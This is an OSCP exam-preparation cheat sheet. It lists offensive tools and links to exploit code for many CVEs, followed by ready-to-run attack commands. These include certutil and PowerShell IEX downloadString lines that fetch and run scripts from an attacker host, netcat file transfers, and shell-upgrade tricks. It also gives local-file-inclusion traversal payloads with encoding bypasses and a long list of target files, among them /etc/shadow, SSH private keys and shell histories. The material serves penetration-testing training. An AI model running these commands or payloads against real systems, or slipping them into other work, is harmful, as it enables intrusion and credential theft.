OSCP Cheat Sheet

Commands, Payloads and Resources for the Offensive Security Certified Professional Certification.

DISCLAIMER: A guy on Twitter got a point. Automatic exploitation tools like sqlmap are prohibited to use in the exam. The same goes for the automatic exploitation functionality of LinPEAS. I am not keeping track of current guidelines related to those tools. For that i want to point out that i am not responsible if anybody uses a tool without double checking the latest exam restrictions and fails the exam. Inform yourself before taking the exam!

I removed sqlmap because of the reasons above but Metasploit is still part of the guide because you can use it for one specific module. Thank you Muztahidul Tanim for making me aware and to yeep for the resources.

Here are the link to the OSCP Exam Guide and the discussion about LinPEAS. I hope this helps.

Name	URL
PayloadsAllTheThings	https://github.com/swisskyrepo/PayloadsAllTheThings
ysoserial	https://github.com/frohoff/ysoserial
JSON Web Tokens	https://jwt.io/
httpx	https://github.com/projectdiscovery/httpx
Gobuster	https://github.com/OJ/gobuster
ffuf	https://github.com/ffuf/ffuf
Wfuzz	https://github.com/xmendez/wfuzz
WPScan	https://github.com/wpscanteam/wpscan

Password Attacks

Name	URL
Hydra	https://github.com/vanhauser-thc/thc-hydra
Patator	https://github.com/lanjelot/patator
Kerbrute	https://github.com/ropnop/kerbrute
CrackMapExec	https://github.com/byt3bl33d3r/CrackMapExec
SprayingToolkit	https://github.com/byt3bl33d3r/SprayingToolkit
John	https://github.com/openwall/john
hashcat	https://hashcat.net/hashcat
LaZagne	https://github.com/AlessandroZ/LaZagne
mimikatz	https://github.com/gentilkiwi/mimikatz
pypykatz	https://github.com/skelsec/pypykatz
RsaCtfTool	https://github.com/Ganapati/RsaCtfTool
Default Credentials Cheat Sheet	https://github.com/ihebski/DefaultCreds-cheat-sheet

Reverse Engineering

Name	URL
dnSpy	https://github.com/dnSpy/dnSpy
AvalonialLSpy	https://github.com/icsharpcode/AvaloniaILSpy
ghidra	https://github.com/NationalSecurityAgency/ghidra
pwndbg	https://github.com/pwndbg/pwndbg
cutter	https://github.com/rizinorg/cutter
Radare2	https://github.com/radareorg/radare2
GEF	https://github.com/hugsy/gef
peda	https://github.com/longld/peda
JD-GUI	https://github.com/java-decompiler/jd-gui

Exploitation Tools

Name	URL
lsassy	https://github.com/Hackndo/lsassy
Rubeus	https://github.com/GhostPack/Rubeus
printspoofer	https://github.com/dievus/printspoofer
pth-toolkit	https://github.com/byt3bl33d3r/pth-toolkit
Evil-WinRM	https://github.com/Hackplayers/evil-winrm
Metasploit	https://github.com/rapid7/metasploit-framework
SharpCollection	https://github.com/Flangvik/SharpCollection
PowerSharpPack	https://github.com/S3cur3Th1sSh1t/PowerSharpPack

Post Exploitation

Name	URL
PEASS-ng	https://github.com/carlospolop/PEASS-ng
LinEnum	https://github.com/rebootuser/LinEnum
JAWS	https://github.com/411Hall/JAWS
Watson	https://github.com/rasta-mouse/Watson
WESNG	https://github.com/bitsadmin/wesng
Sherlock	https://github.com/rasta-mouse/Sherlock
scavenger	https://github.com/SpiderLabs/scavenger
GTFOBins	https://gtfobins.github.io/
LOLBAS	https://lolbas-project.github.io/
Impacket	https://github.com/SecureAuthCorp/impacket
powercat	https://github.com/besimorhino/powercat
PowerView	https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
Windows-privesc-check	https://github.com/pentestmonkey/windows-privesc-check
Windows Privilege Escalation	https://github.com/frizb/Windows-Privilege-Escalation
Windows Privilege Escalation Fundamentals	https://www.fuzzysecurity.com/tutorials/16.html
Priv2Admin	https://github.com/gtworek/Priv2Admin

CVEs

CVE	Descritpion	URL
CVE-2014-6271	Shellshock PoC	https://github.com/zalalov/CVE-2014-6271
CVE-2016-5195	Dirty COW	https://github.com/firefart/dirtycow
CVE-2017-0199	RTF Dynamite	https://github.com/bhdresh/CVE-2017-0199
CVE-2018-10933	libSSH Authentication Bypass	https://github.com/blacknbunny/CVE-2018-10933
CVE-2018-16509	Ghostscript	https://github.com/farisv/PIL-RCE-Ghostscript-CVE-2018-16509
CVE-2019-18634	sudo	https://github.com/saleemrashid/sudo-cve-2019-18634
CVE-2019-5736	Exploiting RunC	https://github.com/Frichetten/CVE-2019-5736-PoC
CVE-2019-6447	ES File Explorer Open Port Vulnerability	https://github.com/fs0c131y/ESFileExplorerOpenPortVuln
CVE-2019-7304	dirty_sock	https://github.com/initstring/dirty_sock
CVE-2020-1472	ZeroLogon Testing Script	https://github.com/SecuraBV/CVE-2020-1472
CVE-2020-1472	ZeroLogon Exploitation Script	https://github.com/risksense/zerologon
CVE-2021-1675,CVE-2021-34527	PrintNightmare	https://github.com/nemo-wq/PrintNightmare-CVE-2021-34527
CVE-2021-1675	PrintNightmare LPE (PowerShell)	https://github.com/calebstewart/CVE-2021-1675
CVE-2021-21972	vCenter RCE	https://github.com/horizon3ai/CVE-2021-21972
CVE-2021-22204	GitLab Exiftool RCE	https://github.com/CsEnox/Gitlab-Exiftool-RCE
CVE-2021-22204	GitLab Exiftool RCE Python Implementation	https://github.com/convisolabs/CVE-2021-22204-exiftool
CVE-2021-26085	Confluence Server RCE	https://github.com/Phuong39/CVE-2021-26085
CVE-2021-27928	MariaDB/MySQL-'wsrep provider'	https://github.com/Al1ex/CVE-2021-27928
CVE-2021-3129	Laravel Framework RCE	https://github.com/nth347/CVE-2021-3129_exploit
CVE-2021-3156	Sudo 1.8.31 Root Exploit	https://github.com/mohinparamasivam/Sudo-1.8.31-Root-Exploit
CVE-2021-3560	PwnKit C Implementation	https://github.com/hakivvi/CVE-2021-3560
CVE-2021-3560	polkit Privilege Escalation	https://github.com/Almorabea/Polkit-exploit
CVE-2021-3560	polkit Privilege Esclation PoC	https://github.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation
CVE-2021-36934	HiveNightmare	https://github.com/GossiTheDog/HiveNightmare
CVE-2021-4034	Pkexec Self-contained Exploit	https://github.com/ly4k/PwnKit
CVE-2021-4034	PoC for PwnKit (1)	https://github.com/dzonerzy/poc-cve-2021-4034
CVE-2021-4034	PoC for PwnKit (2)	https://github.com/arthepsy/CVE-2021-4034
CVE-2021-4034	PoC for PwnKit (3)	https://github.com/nikaiw/CVE-2021-4034
CVE-2021-40444	MSHTML builders	https://github.com/aslitsecurity/CVE-2021-40444_builders
CVE-2021-40444	MSHTML Exploit	https://xret2pwn.github.io/CVE-2021-40444-Analysis-and-Exploit/
CVE-2021-40444	MSHTML PoC	https://github.com/lockedbyte/CVE-2021-40444
CVE-2021-41379	InstallerFileTakeOver	https://github.com/klinix5/InstallerFileTakeOver
CVE-2021-41773,CVE-2021-42013, CVE-2020-17519	SimplesApachePathTraversal	https://github.com/MrCl0wnLab/SimplesApachePathTraversal
CVE-2021-42278,CVE-2021-42287	sam-the-admin	https://github.com/WazeHell/sam-the-admin
CVE-2021-42278	sam-the-admin Python Implementation	https://github.com/ly4k/Pachine
CVE-2021-42287,CVE-2021-42278	noPac (1)	https://github.com/cube0x0/noPac
CVE-2021-42287,CVE-2021-42278	noPac (2)	https://github.com/Ridter/noPac
CVE-2021-42321	Microsoft Exchange Server RCE	https://gist.github.com/testanull/0188c1ae847f37a70fe536123d14f398
CVE-2021-44228	Log4Shell	https://github.com/kozmer/log4j-shell-poc
CVE-2021-44228	LogMePwn	https://github.com/0xInfection/LogMePwn
CVE-2022-0847	DirtyPipe-Exploits	https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
CVE-2022-21999	SpoolFool	https://github.com/ly4k/SpoolFool
CVE-2022-22963	Spring4Shell	https://github.com/tweedge/springcore-0day-en
CVE-2022-23119,CVE-2022-23120	Trend Micro Deep Security Agent for Linux Arbitrary File Read	https://github.com/modzero/MZ-21-02-Trendmicro
CVE-2022-26134	ConfluentPwn	https://github.com/redhuntlabs/ConfluentPwn
CVE-2022-30190	MS-MSDT Follina Attach Vector	https://github.com/JohnHammond/msdt-follina
CVE-2022-30190	MS-MSDT Follina Exploit PoC	https://github.com/onecloudemoji/CVE-2022-30190
CVE-2022-30190	MS-MSDT Follina Exploit Python Implementation	https://github.com/chvancooten/follina.py
CVE-2022-34918	LPE Netfilter Kernel Exploit	https://github.com/randorisec/CVE-2022-34918-LPE-PoC
n/a	SeBackupPrivilege	https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug
n/a	RoguePotato	https://github.com/antonioCoco/RoguePotato
n/a	RottenPotatoNG	https://github.com/breenmachine/RottenPotatoNG
n/a	GenericPotato	https://github.com/micahvandeusen/GenericPotato
n/a	JuicyPotato	https://github.com/ohpe/juicy-potato
n/a	JuicyPotatoNG	https://github.com/antonioCoco/JuicyPotatoNG
n/a	MultiPotato	https://github.com/S3cur3Th1sSh1t/MultiPotato
n/a	PrintSpoofer (1)	https://github.com/dievus/printspoofer
n/a	PrintSpoofer (2)	https://github.com/itm4n/PrintSpoofer
n/a	Shocker (1)	https://github.com/gabrtv/shocker
n/a	Shocker (2)	https://github.com/nccgroup/shocker
n/a	SystemNightmare	https://github.com/GossiTheDog/SystemNightmare
n/a	PetitPotam	https://github.com/topotam/PetitPotam
n/a	DFSCoerce MS-DFSNM Exploit	https://github.com/Wh04m1001/DFSCoerce
n/a	Windows Exploits	https://github.com/SecWiki/windows-kernel-exploits
n/a	Pre-compiled Windows Exploits	https://github.com/abatchy17/WindowsExploits

Exploiting

Name	URL
PwnTools	https://github.com/Gallopsled/pwntools
checksec	https://github.com/slimm609/checksec.sh
mona	https://github.com/corelan/mona
Ropper	https://github.com/sashs/Ropper
Buffer Overflow	https://github.com/gh0x0st/Buffer_Overflow

Payloads

Name	URL
PayloadsAllTheThings	https://github.com/swisskyrepo/PayloadsAllTheThings
Payload Box	https://github.com/payloadbox
ysoserial	https://github.com/frohoff/ysoserial
nishang	https://github.com/samratashok/nishang
Shikata Ga Nai	https://github.com/EgeBalci/sgn
unicorn	https://github.com/trustedsec/unicorn
PowerLine	https://github.com/fullmetalcache/powerline
woodpecker	https://github.com/woodpecker-appstore/log4j-payload-generator
marshalsec	https://github.com/mbechler/marshalsec
AMSI.fail	http://amsi.fail
Raikia's Hub	https://raikia.com/tool-powershell-encoder/
Web-Shells	https://github.com/TheBinitGhimire/Web-Shells
PHP-Reverse-Shell	https://github.com/ivan-sincek/php-reverse-shell

Wordlists

Name	URL
SecLists	https://github.com/danielmiessler/SecLists
CeWL	https://github.com/digininja/cewl
CUPP	https://github.com/Mebus/cupp
COOK	https://github.com/giteshnxtlvl/cook

Social Media Resources

Name	URL
IppSec (YouTube)	https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA
IppSec.rocks	https://ippsec.rocks/?#
0xdf	https://0xdf.gitlab.io/
HackTricks	https://book.hacktricks.xyz/
Hacking Articles	https://www.hackingarticles.in/
Rana Khalil	https://rana-khalil.gitbook.io/hack-the-box-oscp-preparation/

Commands

Basics

CentOS

doas -u <USERNAME> /bin/sh

Certutil

certutil -urlcache -split -f "http://<LHOST>/<FILE>" <FILE>

Chisel

./chisel server -p 9002 -reverse -v
./chisel client <RHOST>:9002 R:9003:127.0.0.1:8888

gcc

gcc (--static) -m32 -Wl,--hash-style=both exploit.c -o exploit
i686-w64-mingw32-gcc -o main32.exe main.c
x86_64-w64-mingw32-gcc -o main64.exe main.c

Netcat

nc -lnvp <LPORT> < <FILE>
nc <RHOST> <RPORT> > <FILE>

PHP Webserver

sudo php -S 127.0.0.1:80

Ping

ping -c 1 <RHOST>
ping -n 1 <RHOST>

Python Webserver

sudo python -m SimpleHTTPServer 80
sudo python3 -m http.server 80

RDP

xfreerdp /v:<RHOST> /u:<USERNAME> /p:<PASSWORD> +clipboard
rdesktop <RHOST>

SSH

ssh user@<RHOST> -oKexAlgorithms=+diffie-hellman-group1-sha1

ssh -R 8080:<LHOST>:80 <RHOST>
ssh -L 8000:127.0.0.1:8000 <USERNAME>@<RHOST>
ssh -N -L 1234:127.0.0.1:1234 <USERNAME>@<RHOST>

ssh -L 80:<LHOST>:80 <RHOST>
ssh -L 127.0.0.1:80:<LHOST>:80 <RHOST>
ssh -L 80:localhost:80 <RHOST>

tmux

ctrl b + w    # show windows
ctrl + "      # split window horizontal
ctrl + %      # split window vertical
ctrl + ,      # rename window
ctrl + {      # flip window
ctrl + }      # flip window
ctrl + spacebar    # switch pane layout

Copy & Paste

:setw -g mode-keys vi

1. ctrl b + [
2. space
3. enter
4. ctrl b + ]

Search

ctrl b + [    # enter copy
ctrl + /      # enter search while within copy mode for vi mode
n             # search next
shift + n     # reverse search

Upgrading Shells

python -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'

ctrl + z
stty raw -echo
fg
Enter
Enter
export XTERM=xterm

vi

:w !sudo tee %    # save file with elevated privileges without exiting

Windows Command Formatting

echo "<COMMAND>" | iconv -f UTF-8 -t UTF-16LE | base64 -w0

Information Gathering

Nmap

sudo nmap -A -T4 -p- -sS -sV -oN initial --script discovery <RHOST>    # discovery scan
sudo nmap -A -T4 -sC -sV --script vuln <RHOST>    # vulnerability scan
sudo nmap -sU <RHOST>    # udp scan
sudo nmap -sC -sV -p- --scan-delay 5s <RHOST>    # delayed scan
sudo nmap $TARGET -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='test' <RHOST>    # kerberos enumeration
ls -lh /usr/share/nmap/scripts/*ssh*
locate -r '\.nse$' | xargs grep categories | grep categories | grep 'default\|version\|safe' | grep smb

DNS

Reverse DNS

whois <RHOST>
host <RHOST> <RHOST>
host -l <RHOST> <RHOST>
dig @<RHOST> -x <RHOST>
dig {a|txt|ns|mx} <RHOST>
dig {a|txt|ns|mx} <RHOST> @ns1.<RHOST>
dig axfr @<RHOST> <RHOST>    # zone transfer

ldapsearch

ldapsearch -x -w <PASSWORD>
ldapsearch -x -h <RHOST> -s base namingcontexts
ldapsearch -x -b "dc=<RHOST>,dc=local" "*" -h <RHOST> | awk '/dn: / {print $2}'
ldapsearch -x -D "cn=admin,dc=<RHOST>,dc=local" -s sub "cn=*" -h <RHOST> | awk '/uid: /{print $2}' | nl
ldapsearch -D "cn=admin,dc=acme,dc=com" "(objectClass=*)" -w ldapadmin -h ldap.acme.com
ldapsearch -x -h <RHOST> -D "<USERNAME>"  -b "dc=<RHOST>,dc=local" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd

sslyze

sslyze --heartbleed <RHOST>

SMB / NetBIOS

nbtscan <RHOST>
enum4linux -a <RHOST>

JAWS

IEX(New-Object Net.webclient).downloadString('http://<LHOST>:<LPORT>/jaws-enum.ps1')

Vulnerability Analysis

finger

./finger-user-enum.pl -U /usr/share/seclists/Usernames/Names/names.txt -t <RHOST>

Web Application Analysis

Asset Discovery

curl -s -k "https://jldc.me/anubis/subdomains/example.com" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sed '/^\./d'

ffuf

ffuf -w /usr/share/wordlists/dirb/common.txt -u http://<RHOST>/FUZZ -mc 200,204,301,302,307,401 -o results.txt
ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://<RHOST>/ -H "Host: FUZZ.<RHOST>" -fs 185
ffuf -c -w /usr/share/wordlists/seclists/Fuzzing/4-digits-0000-9999.txt -u http://<RHOST>/backups/backup_2020070416FUZZ.zip

API Fuzzing

ffuf -u https://<RHOST>/api/v2/FUZZ -w api_seen_in_wild.txt -c -ac -t 250 -fc 400,404,412

Looging for LFI

ffuf -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u http://<RHOST>/admin../admin_staging/index.php?page=FUZZ -fs 15349

Fuzzing with PHP Session ID

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt  -u "http://<RHOST>/admin/FUZZ.php" -b "PHPSESSID=a0mjo6ukbkq271nb2rkb1joamp" -fw 2644

Recursion

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://<RHOST>/cd/basic/FUZZ -recursion

File Extensions

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://<RHOST>/cd/ext/logs/FUZZ -e .log

No 404 Header

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://<RHOST>/cd/no404/FUZZ -fs 669

Param Mining

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://<RHOST>/cd/param/data?FUZZ=1

Rate Limiting

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -t 5 -p 0.1 -u http://<RHOST>/cd/rate/FUZZ -mc 200,429

IDOR Testing

seq 1 1000 | ffuf -w - -u http://<RHOST>/cd/pipes/user?id=FUZZ

Script for IDOR Testing

#!/bin/bash

while read i
do
  if [ "$1" == "md5" ]; then
    echo -n $i | md5sum | awk '{ print $1 }'
  elif [ "$1" == "b64" ]; then
    echo -n $i | base64
  else
    echo $i
  fi
done

Use Script above for Base64 decoding

seq 1 1000 | /usr/local/bin/hashit b64 | ffuf -w - -u http://<RHOST>/cd/pipes/user2?id=FUZZ

MD5 Discovery using the Script

seq 1 1000 | /usr/local/bin/hashit md5 | ffuf -w - -u http://<RHOST>/cd/pipes/user3?id=FUZZ

Virtual Host Discovery

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.<RHOST>" -u http://<RHOST> -fs 1495

Massive File Extension Discovery

ffuf -w /opt/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://<RHOST>/FUZZ -t 30 -c -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' -mc 200,204,301,302,307,401,403,500 -ic -e .7z,.action,.ashx,.asp,.aspx,.backup,.bak,.bz,.c,.cgi,.conf,.config,.dat,.db,.dhtml,.do,.doc,.docm,.docx,.dot,.dotm,.go,.htm,.html,.ini,.jar,.java,.js,.js.map,.json,.jsp,.jsp.source,.jspx,.jsx,.log,.old,.pdb,.pdf,.phtm,.phtml,.pl,.py,.pyc,.pyz,.rar,.rhtml,.shtm,.shtml,.sql,.sqlite3,.svc,.tar,.tar.bz2,.tar.gz,.tsx,.txt,.wsdl,.xhtm,.xhtml,.xls,.xlsm,.xlst,.xlsx,.xltm,.xml,.zip

Gobuster

-e    // extended mode that renders the full url
-k    // skip ssl certificate validation
-r    // follow cedirects
-s    // status codes
-b    // exclude status codes
-k            // ignore certificates
--wildcard    // set wildcard option

$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://<RHOST>/
$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://<RHOST>/ -x php
$ gobuster dir -w /usr/share/wordlists/dirb/big.txt -u http://<RHOST>/ -x php,txt,html,js -e -s 200
$ gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u https://<RHOST>:<RPORT>/ -b 200 -k --wildcard

Common File Extensions

txt,bak,php,html,js,asp,aspx

Common Picture Extensions

png,jpg,jpeg,gif,bmp

POST Requests

gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u http://<RHOST>/api/ -e -s 200

DNS Recon

gobuster dns -d <RHOST> -t 50 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt

VHost Discovery

gobuster vhost -u <RHOST> -t 50 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt

Specifiy User Agent

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://<RHOST>/ -a Linux

Local File Inclusion (LFI)

http://<RHOST>/<FILE>.php?file=
http://<RHOST>/<FILE>.php?file=../../../../../../../../etc/passwd
http://<RHOST>/<FILE>/php?file=../../../../../../../../../../etc/passwd

Until php 5.3

http://<RHOST>/<FILE>/php?file=../../../../../../../../../../etc/passwd%00

Encoded Traversal Strings

../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216
..././
...\.\

Base64 Execution Bypass

http://<RHOST>/index.php?page=php://filter/convert.base64-encode/resource=index
base64 -d <FILE>.php

Linux Files

/etc/passwd
/etc/shadow
/etc/aliases
/etc/anacrontab
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/etc/apache2/sites-enabled/000-default.conf
/etc/at.allow
/etc/at.deny
/etc/bashrc
/etc/bootptab
/etc/chrootUsers
/etc/chttp.conf
/etc/cron.allow
/etc/cron.deny
/etc/crontab
/etc/cups/cupsd.conf
/etc/exports
/etc/fstab
/etc/ftpaccess
/etc/ftpchroot
/etc/ftphosts
/etc/groups
/etc/grub.conf
/etc/hosts
/etc/hosts.allow
/etc/hosts.deny
/etc/httpd/access.conf
/etc/httpd/conf/httpd.conf
/etc/httpd/httpd.conf
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/php.ini
/etc/httpd/srm.conf
/etc/inetd.conf
/etc/inittab
/etc/issue
/etc/lighttpd.conf
/etc/lilo.conf
/etc/logrotate.d/ftp
/etc/logrotate.d/proftpd
/etc/logrotate.d/vsftpd.log
/etc/lsb-release
/etc/motd
/etc/modules.conf
/etc/motd
/etc/mtab
/etc/my.cnf
/etc/my.conf
/etc/mysql/my.cnf
/etc/network/interfaces
/etc/networks
/etc/npasswd
/etc/passwd
/etc/php4.4/fcgi/php.ini
/etc/php4/apache2/php.ini
/etc/php4/apache/php.ini
/etc/php4/cgi/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php/apache2/php.ini
/etc/php/apache/php.ini
/etc/php/cgi/php.ini
/etc/php.ini
/etc/php/php4/php.ini
/etc/php/php.ini
/etc/printcap
/etc/profile
/etc/proftp.conf
/etc/proftpd/proftpd.conf
/etc/pure-ftpd.conf
/etc/pureftpd.passwd
/etc/pureftpd.pdb
/etc/pure-ftpd/pure-ftpd.conf
/etc/pure-ftpd/pure-ftpd.pdb
/etc/pure-ftpd/putreftpd.pdb
/etc/redhat-release
/etc/resolv.conf
/etc/samba/smb.conf
/etc/snmpd.conf
/etc/ssh/ssh_config
/etc/ssh/sshd_config
/etc/ssh/ssh_host_dsa_key
/etc/ssh/ssh_host_dsa_key.pub
/etc/ssh/ssh_host_key
/etc/ssh/ssh_host_key.pub
/etc/sysconfig/network
/etc/syslog.conf
/etc/termcap
/etc/vhcs2/proftpd/proftpd.conf
/etc/vsftpd.chroot_list
/etc/vsftpd.conf
/etc/vsftpd/vsftpd.conf
/etc/wu-ftpd/ftpaccess
/etc/wu-ftpd/ftphosts
/etc/wu-ftpd/ftpusers
/logs/pure-ftpd.log
/logs/security_debug_log
/logs/security_log
/opt/lampp/etc/httpd.conf
/opt/xampp/etc/php.ini
/proc/cpuinfo
/proc/filesystems
/proc/interrupts
/proc/ioports
/proc/meminfo
/proc/modules
/proc/mounts
/proc/<PID>/cmdline
/proc/<PID>/maps
/proc/stat
/proc/swaps
/proc/version
/proc/self/net/arp
/proc/self/cwd/app.py
/proc/sched_debug
/proc/net/arp
/proc/net/tcp
/proc/net/udp
/root/anaconda-ks.cfg
/usr/etc/pure-ftpd.conf
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/apache/conf/modsec.conf
/usr/local/apache/conf/php.ini
/usr/local/apache/log
/usr/local/apache/logs
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/usr/local/apache/audit_log
/usr/local/apache/error_log
/usr/local/apache/error.log
/usr/local/cpanel/logs
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/etc/httpd/logs/access_log
/usr/local/etc/httpd/logs/error_log
/usr/local/etc/php.ini
/usr/local/etc/pure-ftpd.conf
/usr/local/etc/pureftpd.pdb
/usr/local/lib/php.ini
/usr/local/php4/httpd.conf
/usr/local/php4/httpd.conf.php
/usr/local/php4/lib/php.ini
/usr/local/php5/httpd.conf
/usr/local/php5/httpd.conf.php
/usr/local/php5/lib/php.ini
/usr/local/php/httpd.conf
/usr/local/php/httpd.conf.ini
/usr/local/php/lib/php.ini
/usr/local/pureftpd/etc/pure-ftpd.conf
/usr/local/pureftpd/etc/pureftpd.pdn
/usr/local/pureftpd/sbin/pure-config.pl
/usr/local/www/logs/httpd_log
/usr/local/Zend/etc/php.ini
/usr/sbin/pure-config.pl
/var/adm/log/xferlog
/var/apache2/config.inc
/var/apache/logs/access_log
/var/apache/logs/error_log
/var/cpanel/cpanel.config
/var/lib/mysql/my.cnf
/var/lib/mysql/mysql/user.MYD
/var/local/www/conf/php.ini
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache-ssl/access.log
/var/log/apache-ssl/error.log
/var/log/auth.log
/var/log/boot
/var/htmp
/var/log/chttp.log
/var/log/cups/error.log
/var/log/daemon.log
/var/log/debug
/var/log/dmesg
/var/log/dpkg.log
/var/log/exim_mainlog
/var/log/exim/mainlog
/var/log/exim_paniclog
/var/log/exim.paniclog
/var/log/exim_rejectlog
/var/log/exim/rejectlog
/var/log/faillog
/var/log/ftplog
/var/log/ftp-proxy
/var/log/ftp-proxy/ftp-proxy.log
/var/log/httpd-access.log
/var/log/httpd/access_log
/var/log/httpd/access.log
/var/log/httpd/error_log
/var/log/httpd/error.log
/var/log/httpsd/ssl.access_log
/var/log/httpsd/ssl_log
/var/log/kern.log
/var/log/lastlog
/var/log/lighttpd/access.log
/var/log/lighttpd/error.log
/var/log/lighttpd/lighttpd.access.log
/var/log/lighttpd/lighttpd.error.log
/var/log/mail.info
/var/log/mail.log
/var/log/maillog
/var/log/mail.warn
/var/log/message
/var/log/messages
/var/log/mysqlderror.log
/var/log/mysql.log
/var/log/mysql/mysql-bin.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/log/proftpd
/var/log/pureftpd.log
/var/log/pure-ftpd/pure-ftpd.log
/var/log/secure
/var/log/vsftpd.log
/var/log/wtmp
/var/log/xferlog
/var/log/yum.log
/var/mysql.log
/var/run/utmp
/var/spool/cron/crontabs/root
/var/webmin/miniserv.log
/var/www/<vhost>/__init__.py
/var/www/log/access_log
/var/www/log/error_log
/var/www/logs/access_log
/var/www/logs/error_log
/var/www/logs/access.log
/var/www/logs/error.log
~/.atfp_history
~/.bash_history
~/.bash_logout
~/.bash_profile
~/.bashrc
~/.gtkrc
~/.login
~/.logout
~/.mysql_history
~/.nano_history
~/.php_history
~/.profile
~/.ssh/authorized_keys
~/.ssh/id_dsa
~/.ssh/id_dsa.pub
~/.ssh/id_rsa
~/.ssh/id_rsa.pub
~/.ssh/identity
~/.ssh/identity.pub
~/.viminfo
~/.wm_style
~/.Xdefaults
~/.xinitrc
~/.Xresources
~/.xsession

Windows Files

C:/Users/Administrator/NTUser.dat
C:/Documents and Settings/Administrator/NTUser.dat
C:/apache/logs/access.log
C:/apache/logs/error.log
C:/apache/php/php.ini
C:/boot.ini
C:/inetpub/wwwroot/global.asa
C:/MySQL/data/hostname.err
C:/MySQL/data/mysql.err
C:/MySQL/data/mysql.log
C:/MySQL/my.cnf
C:/MySQL/my.ini
C:/php4/php.ini
C:/php5/php.ini
C:/php/php.ini
C:/Program Files/Apache Group/Apache2/conf/httpd.conf
C:/Program Files/Apache Group/Apache/conf/httpd.conf
C:/Program Files/Apache Group/Apache/logs/access.log
C:/Program Files/Apache Group/Apache/logs/error.log
C:/Program Files/FileZilla Server/FileZilla Server.xml
C:/Program Files/MySQL/data/hostname.err
C:/Program Files/MySQL/data/mysql-bin.log
C:/Program Files/MySQL/data/mysql.err
C:/Program Files/MySQL/data/mysql.log
C:/Program Files/MySQL/my.ini
C:/Program Files/MySQL/my.cnf
C:/Program Files/MySQL/MySQL Server 5.0/data/hostname.err
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql-bin.log
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.err
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.log
C:/Program Files/MySQL/MySQL Server 5.0/my.cnf
C:/Program Files/MySQL/MySQL Server 5.0/my.ini
